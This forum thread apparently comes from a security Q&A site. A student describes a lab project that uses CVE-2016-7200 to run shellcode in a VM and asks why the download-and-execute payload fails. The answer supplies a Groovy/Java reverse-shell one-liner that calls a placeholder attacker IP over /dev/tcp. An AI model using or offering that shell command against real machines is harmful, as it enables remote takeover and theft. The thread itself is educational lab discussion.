I study Information Security at university, and we got at school a project to use some old patched vulnerability to get control over PC. We have chosen Chakra exploit CVE-2016-7200. We have it working with opening Motepad at victim's PC (a virtual machine running Windows 10 PRO x64 1607). But nothing more.

We have tried to use shellcode from here but it doesnt work. It should download and run our virus from server, but it does nothing. We have disabled firewall, defender etc. and still nothing. Also we tested some shellcodes in VisualStudio(C/C++) and when we had a shellcode working there (opening something else than Notepad, like calc.exec) but when we put it to out JS it did nothing (yes we changed it to format %u...).

If you have some ideas what might be wrong, or if you have some hints please let me know.

  • Talk to the course staff
    – Limit
    Apr 17 '18 at 22:37
  • tomorrow we have a lecture with them, but I am not really sure they have advanced understanding how those shellcodes work+our garant is really busy...but of couse we will try
    – user175989
    Apr 18 '18 at 4:33

Using unknown code is always risky. Backpatching and etc will break many things you don't expect. Often, devices with old versions of software will actually have been backpatched, but there is no way to know other than reading the change logs and releases.

That said, try to create a reverse java shell to the server (you'll need to kick off a listener). If you can get a good shell you'll have much better luck writing the script to call the virus yourself. Honestly, at the point you have a shell with privleges, you can probably call this challenge completed.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

If you haven't found this page, it might help: https://www.cvedetails.com/cve/CVE-2016-7200/

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.